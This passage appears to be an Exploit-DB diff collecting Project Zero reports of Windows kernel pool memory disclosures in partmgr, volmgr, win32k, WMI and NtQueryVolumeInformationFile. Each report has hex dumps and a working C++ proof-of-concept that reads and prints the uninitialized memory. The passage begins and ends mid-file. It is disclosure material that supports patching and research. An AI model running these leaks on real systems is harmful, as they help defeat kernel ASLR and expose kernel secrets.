The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 88 01 00 00 10 8d de 8f 00 00 00 00 88 01 00 00 ................
00000010: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e......
00000020: a5 01 00 a0 c9 06 29 10 00 00 00 00 81 00 01 00 ......).........
00000030: 48 00 00 00 01 00 00 00 dc 00 00 00 48 00 00 00 H...........H...
00000040: 92 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........).....
00000050: 00 56 f8 05 00 00 00 00 78 b4 41 3c 00 00 00 00 .V......x.A<....
00000060: e8 03 6b 03 00 00 00 00 30 9e 33 7f 8d 00 00 00 ..k.....0.3.....
00000070: 69 5b 00 00 03 44 00 00 00 00 00 00 9b 01 00 00 i[...D..........
00000080: 30 8c ea b5 a6 91 d2 01 00 00 00 00 50 00 61 00 0...........P.a.
00000090: 72 00 74 00 6d 00 67 00 72 00 20 00 00 00 00 00 r.t.m.g.r. .....
000000a0: 38 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 8.\.D.e.v.i.c.e.
000000b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s.
000000c0: 6b 00 30 00 5c 00 50 00 61 00 72 00 74 00 69 00 k.0.\.P.a.r.t.i.
000000d0: 74 00 69 00 6f 00 6e 00 30 00[ad ad]e0 00 00 00 t.i.o.n.0.......
000000e0: 9c 00 49 00 44 00 45 00 5c 00 44 00 69 00 73 00 ..I.D.E.\.D.i.s.
000000f0: 6b 00 56 00 42 00 4f 00 58 00 5f 00 48 00 41 00 k.V.B.O.X._.H.A.
00000100: 52 00 44 00 44 00 49 00 53 00 4b 00 5f 00 5f 00 R.D.D.I.S.K._._.
00000110: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000120: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000130: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._.
00000140: 5f 00 31 00 2e 00 30 00 5f 00 5f 00 5f 00 5f 00 _.1...0._._._._.
00000150: 5f 00 5c 00 35 00 26 00 33 00 33 00 64 00 31 00 _.\.5.&.3.3.d.1.
00000160: 36 00 33 00 38 00 61 00 26 00 30 00 26 00 30 00 6.3.8.a.&.0.&.0.
00000170: 2e 00 30 00 2e 00 30 00 5f 00 30 00 00 00[ad ad]..0...0._.0.....
00000180:[ad ad ad ad ad ad ad ad]72 01 00 00 20 0e d1 8f ........r... ...
00000190:[ad ad ad ad]78 01 00 00 30 8c ea b5 a6 91 d2 01 ....x...0.......
000001a0: d1 65 d8 bd c1 d7 d0 11 a5 01 00 a0 c9 06 29 10 .e............).
000001b0:[ad ad ad ad]81 00 01 00 48 00 00 00 01 00 00 00 ........H.......
000001c0: d0 00 00 00 48 00 00 00 88 00 00 00[ad ad ad ad]....H...........
000001d0: 00 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 28 a0 00 00 00 00 00 00 ........(.......
000001f0: 20 07 d9 9e 8d 00 00 00 00 00 00 00 1e 00 00 00 ...............
00000200: 00 00 00 00 00 00 00 00 30 8c ea b5 a6 91 d2 01 ........0.......
00000210: 01 00 00 00 56 00 4f 00 4c 00 4d 00 47 00 52 00 ....V.O.L.M.G.R.
00000220: 20 00 20 00 00 00 00 00 2e 00 5c 00 44 00 65 00 . .......\.D.e.
00000230: 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 72 00 v.i.c.e.\.H.a.r.
00000240: 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 6c 00 d.d.i.s.k.V.o.l.
00000250: 75 00 6d 00 65 00 31 00 d4 00 00 00 92 00 53 00 u.m.e.1.......S.
00000260: 54 00 4f 00 52 00 41 00 47 00 45 00 5c 00 56 00 T.O.R.A.G.E.\.V.
00000270: 6f 00 6c 00 75 00 6d 00 65 00 5c 00 7b 00 62 00 o.l.u.m.e.\.{.b.
00000280: 63 00 30 00 35 00 62 00 34 00 39 00 31 00 2d 00 c.0.5.b.4.9.1.-.
00000290: 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 65 00 d.8.4.7.-.1.1.e.
000002a0: 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 38 00 4.-.a.3.0.d.-.8.
000002b0: 30 00 36 00 65 00 36 00 66 00 36 00 65 00 36 00 0.6.e.6.f.6.e.6.
000002c0: 39 00 36 00 33 00 7d 00 23 00 30 00 30 00 30 00 9.6.3.}.#.0.0.0.
000002d0: 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0.0.0.0.0.0.0.1.
000002e0: 30 00 30 00 30 00 30 00 30 00 5f 00 30 00 00 00 0.0.0.0.0._.0...
000002f0:[ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad]................
00000300: 72 01 00 00 20 ae d3 8f[ad ad ad ad]00 00 00 00 r... ...........
00000310: 30 8c ea b5 a6 91 d2 01 d1 65 d8 bd c1 d7 d0 11 0........e......
00000320: a5 01 00 a0 c9 06 29 10[ad ad ad ad]81 00 01 00 ......).........
00000330: 48 00 00 00 01 00 00 00 d0 00 00 00 48 00 00 00 H...........H...
00000340: 88 00 00 00[ad ad ad ad]00 d8 29 1f 00 00 00 00 ..........).....
00000350: 00 4e f6 05 00 00 00 00 98 72 59 3c 00 00 00 00 .N.......rY<....
00000360: b0 f4 75 03 00 00 00 00 38 80 1c 7f 8d 00 00 00 ..u.....8.......
00000370: 69 5b 00 00 e5 43 00 00 00 00 00 00 9b 01 00 00 i[...C..........
00000380: 30 8c ea b5 a6 91 d2 01 02 00 00 00 56 00 4f 00 0...........V.O.
00000390: 4c 00 4d 00 47 00 52 00 20 00 20 00 00 00 00 00 L.M.G.R. . .....
000003a0: 2e 00 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 ..\.D.e.v.i.c.e.
000003b0: 5c 00 48 00 61 00 72 00 64 00 64 00 69 00 73 00 \.H.a.r.d.d.i.s.
000003c0: 6b 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 k.V.o.l.u.m.e.2.
000003d0: d4 00 00 00 92 00 53 00 54 00 4f 00 52 00 41 00 ......S.T.O.R.A.
000003e0: 47 00 45 00 5c 00 56 00 6f 00 6c 00 75 00 6d 00 G.E.\.V.o.l.u.m.
000003f0: 65 00 5c 00 7b 00 62 00 63 00 30 00 35 00 62 00 e.\.{.b.c.0.5.b.
00000400: 34 00 39 00 31 00 2d 00 64 00 38 00 34 00 37 00 4.9.1.-.d.8.4.7.
00000410: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3.
00000420: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6.
00000430: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}.
00000440: 23 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 #.0.0.0.0.0.0.0.
00000450: 30 00 30 00 36 00 35 00 30 00 30 00 30 00 30 00 0.0.6.5.0.0.0.0.
00000460: 30 00 5f 00 30 00 00 00[ad ad ad ad ad ad ad ad]0._.0...........
00000470:[ad ad ad ad ad ad ad ad]?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
In order to make the PoC code more elegant and portable, we have used the high-level functions available in advapi32.dll (WmiOpenBlock, WmiQueryAllDataW, WmiCloseBlock) with their reverse-engineered declarations, instead of sending the IOCTLs directly to the device.
Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
HMODULE hAdvapi32 = LoadLibrary(L"advapi32.dll");
DWORD (WINAPI *WmiOpenBlock)(
_In_ GUID *DataBlockGuid,
_In_ ULONG DesiredAccess,
_Out_ PVOID *DataBlockObject
) = (DWORD (WINAPI *)(GUID *, ULONG, PVOID *))GetProcAddress(hAdvapi32, "WmiOpenBlock");
DWORD (WINAPI *WmiQueryAllDataW)(
_In_ PVOID DataBlockObject,
_Inout_ ULONG *InOutBufferSize,
_Out_opt_ PVOID OutBuffer
) = (DWORD (WINAPI *)(PVOID, ULONG *, PVOID))GetProcAddress(hAdvapi32, "WmiQueryAllDataW");
DWORD(WINAPI *WmiCloseBlock)(
_In_ HANDLE Handle
) = (DWORD (WINAPI *)(HANDLE))GetProcAddress(hAdvapi32, "WmiCloseBlock");
// Open the disk perf WMI block.
DWORD DiskPerfGuid[] = { 0xBDD865D1, 0x11D0D7C1, 0xA00001A5, 0x102906C9 };
HANDLE hwmi = NULL;
DWORD st = WmiOpenBlock((GUID *)DiskPerfGuid, GENERIC_READ, &hwmi);
if (st != ERROR_SUCCESS) {
printf("WmiOpenBlock failed, %d\n", st);
return 1;
}
// Request the necessary buffer size.
DWORD InOutBufferSize = 0;
st = WmiQueryAllDataW(hwmi, &InOutBufferSize, NULL);
if (st != ERROR_INSUFFICIENT_BUFFER) {
printf("WmiQueryAllDataW#1 failed, %d\n", st);
WmiCloseBlock(hwmi);
return 1;
}
// Allocate memory and read the output data in full.
LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, InOutBufferSize);
st = WmiQueryAllDataW(hwmi, &InOutBufferSize, lpBuffer);
if (st == ERROR_SUCCESS) {
PrintHex((PBYTE)lpBuffer, InOutBufferSize);
} else {
printf("WmiQueryAllDataW#2 failed, %d\n", st);
}
// Free resources.
HeapFree(GetProcessHeap(), 0, lpBuffer);
WmiCloseBlock(hwmi);
return 0;
}

44
platforms/windows/dos/42214.txt Executable file
View file

@ -0,0 +1,44 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1153
We have discovered that the win32k!NtGdiEnumFonts system call handler discloses very large portions of uninitialized pool memory to user-mode clients.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for win32k.sys. Then, it is clearly visible that a significant number of the bytes are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region. In this case, the marker byte is 0x47 ("G"), and a dump of the initial 512 bytes of output is shown below. A full dump of the output can be found in the attached file.
--- cut ---
00000000: e4 01 00 00 70 01 00 00 04 00 00 00 25 00 00 00 ....p.......%...
00000010: 12 00 00 00 00 00 00 00 00 00 00 00 90 01 00 00 ................
00000020: 00 00 00 ee 03 02 01 31 43 00 6f 00 6e 00 73 00 .......1C.o.n.s.
00000030: 6f 00 6c 00 61 00 73 00 00 00 47 47 47 47 47 47 o.l.a.s...GGGGGG
00000040: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000050: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000060: 47 47 47 47 47 47 00 00 43 00 6f 00 6e 00 73 00 GGGGGG..C.o.n.s.
00000070: 6f 00 6c 00 61 00 73 00 00 00 47 47 47 47 47 47 o.l.a.s...GGGGGG
00000080: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000090: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000a0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000b0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000c0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000d0: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
000000e0: 47 47 47 47 47 47 00 00 52 00 65 00 67 00 75 00 GGGGGG..R.e.g.u.
000000f0: 6c 00 61 00 72 00 00 00 47 47 47 47 47 47 47 47 l.a.r...GGGGGGGG
00000100: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000110: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000120: 47 47 47 47 47 47 00 00 43 00 65 00 6e 00 74 00 GGGGGG..C.e.n.t.
00000130: 72 00 61 00 6c 00 20 00 45 00 75 00 72 00 6f 00 r.a.l. .E.u.r.o.
00000140: 70 00 65 00 61 00 6e 00 00 00 47 47 47 47 47 47 p.e.a.n...GGGGGG
00000150: 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 47 GGGGGGGGGGGGGGGG
00000160: 47 47 47 47 47 47 47 47 64 76 00 08 00 00 00 00 GGGGGGGGdv......
00000170: 47 47 47 47 00 ff 01 02 25 00 00 00 1d 00 00 00 GGGG....%.......
00000180: 08 00 00 00 05 00 00 00 00 00 00 00 11 00 00 00 ................
00000190: 23 00 00 00 90 01 00 00 00 00 00 00 60 00 00 00 #...........`...
000001a0: 60 00 00 00 00 00 ff fe 01 00 02 00 00 00 00 36 `..............6
000001b0: ee 47 47 47 40 00 24 00 00 08 00 00 5e 09 00 00 .GGG@.$.....^...
000001c0: 66 04 00 00 ff 02 00 e1 ff fc 00 40 09 00 00 00 f..........@....
000001d0: 00 00 00 00 9f 01 00 60 00 00 d7 df 61 6c 00 08 .......`....al..
000001e0: 00 00 00 00 e4 01 00 00 70 01 00 00 04 00 00 00 ........p.......
000001f0: 25 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 %...............
--- cut ---
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42214.zip

82
platforms/windows/dos/42215.cpp Executable file
View file

@ -0,0 +1,82 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1154
We have discovered that the handler of the IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS IOCTL in volmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a VOLUME_DISK_EXTENTS structure [1], which in turn contains a list of DISK_EXTENT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the uninitialized bytes correspond to alignment holes after the NumberOfDiskExtents and DiskNumber fields (both of type DWORD, but there is an 8-byte alignment due to other LARGE_INTEGER fields). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 01 00 00 00[b3 b3 b3 b3]00 00 00 00[b3 b3 b3 b3]................
00000010: 00 00 50 06 00 00 00 00 00 00 90 39 06 00 00 00 ..P........9....
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open the disk device.
HANDLE hDisk = CreateFile(L"\\\\.\\C:",
0,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Obtain the output data, assuming that it will fit into 128 bytes.
BYTE extents[128];
DWORD BytesReturned;
if (!DeviceIoControl(hDisk, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, NULL, 0, &extents, sizeof(extents), &BytesReturned, NULL)) {
printf("DeviceIoControl failed, %d\n", GetLastError());
CloseHandle(hDisk);
return 1;
}
// Dump the output data on screen and free resources.
PrintHex(extents, BytesReturned);
CloseHandle(hDisk);
return 0;
}

92
platforms/windows/dos/42216.cpp Executable file
View file

@ -0,0 +1,92 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1156&desc=2
We have discovered that the handler of the IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL in partmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ff ff ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: bf 0c 00 00 00 00 00 00 0c 00 00 00 ff 00 00 00 ................
00000010: 3f 00 00 00 00 02 00 00 00 00 00 40 06 00 00 00 ?..........@....
00000020: 18 00 00 00 00 00 00 00 ee a2 5d 9f 00 00 00 00 ..........].....
00000030: 00 00 00 00 00 00 00 00 38 00 00 00 01 00 00 00 ........8.......
00000040: 80 00[c1 c1]ff 03 00 00 3f 00 fe 00 01 00[c1 c1]........?.......
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open the disk device.
HANDLE hDisk = CreateFile(L"\\\\.\\C:",
0,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Obtain the output data, assuming that it will fit into 1024 bytes.
BYTE geometry[1024];
DWORD BytesReturned;
if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, NULL, 0, &geometry, sizeof(geometry), &BytesReturned, NULL)) {
printf("DeviceIoControl failed, %d\n", GetLastError());
CloseHandle(hDisk);
return 1;
}
// Dump the output data on screen and free resources.
PrintHex(geometry, BytesReturned);
CloseHandle(hDisk);
return 0;
}

104
platforms/windows/dos/42217.cpp Executable file
View file

@ -0,0 +1,104 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1159
We have discovered that the handler of the IOCTL_DISK_GET_DRIVE_LAYOUT_EX IOCTL in partmgr.sys discloses portions of uninitialized pool memory to user-mode clients.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region. In this case, the marker byte was 0x29 (")").
--- cut ---
00000000: 00 00 00 00 04 00 00 00 ee a2 5d 9f 29 29 29 29 ..........].))))
00000010: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000020: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000030: 00 00 00 00 29 29 29 29 00 00 10 00 00 00 00 00 ....))))........
00000040: 00 00 40 06 00 00 00 00 01 00 00 00 00 29 29 29 ..@..........)))
00000050: 07 01 01 29 00 08 00 00 29 29 29 29 29 29 29 29 ...)....))))))))
00000060: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000070: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000080: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000090: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000000a0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000000b0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000000c0: 00 00 00 00 29 29 29 29 00 00 50 06 00 00 00 00 ....))))..P.....
000000d0: 00 00 90 39 06 00 00 00 02 00 00 00 00 29 29 29 ...9.........)))
000000e0: 07 00 01 29 00 28 03 00 29 29 29 29 29 29 29 29 ...).(..))))))))
000000f0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000100: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000110: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000120: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000130: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000140: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000150: 00 00 00 00 29 29 29 29 00 00 00 00 00 00 00 00 ....))))........
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 29 29 29 .............)))
00000170: 00 00 00 29 00 00 00 00 29 29 29 29 29 29 29 29 ...)....))))))))
00000180: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000190: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001a0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001b0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001c0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001d0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001e0: 00 00 00 00 29 29 29 29 00 00 00 00 00 00 00 00 ....))))........
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 29 29 29 .............)))
00000200: 00 00 00 29 00 00 00 00 29 29 29 29 29 29 29 29 ...)....))))))))
00000210: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000220: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000230: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000240: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000250: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000260: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
--- cut ---
Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open the disk device.
HANDLE hDisk = CreateFile(L"\\\\.\\C:", 0, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Obtain the output data, assuming that it will fit into 1024 bytes.
BYTE layout[1024];
DWORD BytesReturned;
if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_LAYOUT_EX, NULL, 0, layout, sizeof(layout), &BytesReturned, NULL)) {
printf("DeviceIoControl failed, %d\n", GetLastError());
CloseHandle(hDisk);
return 1;
}
// Dump the output data on screen and free resources.
PrintHex(layout, BytesReturned);
CloseHandle(hDisk);
return 0;
}

106
platforms/windows/dos/42218.cpp Executable file
View file

@ -0,0 +1,106 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1166
We have discovered that the nt!NtQueryVolumeInformationFile system call discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 ff ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a FILE_FS_VOLUME_INFORMATION structure [1]. If we map the above shadow bytes to the structure definition, it turns out that the uninitialized byte corresponds to an alignment hole after the SupportsObjects field.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: e7 5e f6 a6 e3 38 d1 01 25 1d a9 2e 00 00 00 00 .^...8..%.......
00000010: 01[84]?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
00000000: e7 5e f6 a6 e3 38 d1 01 25 1d a9 2e 00 00 00 00 .^...8..%.......
00000010: 01[ff]?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
typedef enum {
FileFsVolumeInformation = 1,
FileFsLabelInformation = 2,
FileFsSizeInformation = 3,
FileFsDeviceInformation = 4,
FileFsAttributeInformation = 5,
FileFsControlInformation = 6,
FileFsFullSizeInformation = 7,
FileFsObjectIdInformation = 8,
FileFsDriverPathInformation = 9,
FileFsVolumeFlagsInformation = 10,
FileFsSectorSizeInformation = 11
} FS_INFORMATION_CLASS;
extern "C"
NTSTATUS WINAPI NtQueryVolumeInformationFile(
_In_ HANDLE FileHandle,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_Out_ PVOID FsInformation,
_In_ ULONG Length,
_In_ FS_INFORMATION_CLASS FsInformationClass
);
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open the disk device.
HANDLE hDisk = CreateFile(L"C:\\", 0, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDisk == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Obtain the output data, assuming that it will fit into 256 bytes.
BYTE output[256];
IO_STATUS_BLOCK iosb;
NTSTATUS st = NtQueryVolumeInformationFile(hDisk, &iosb, output, sizeof(output), FileFsVolumeInformation);
if (!NT_SUCCESS(st)) {
printf("NtQueryVolumeInformationFile failed, %x\n", st);
CloseHandle(hDisk);
return 1;
}
// Dump the output data on screen and free resources.
PrintHex(output, iosb.Information);
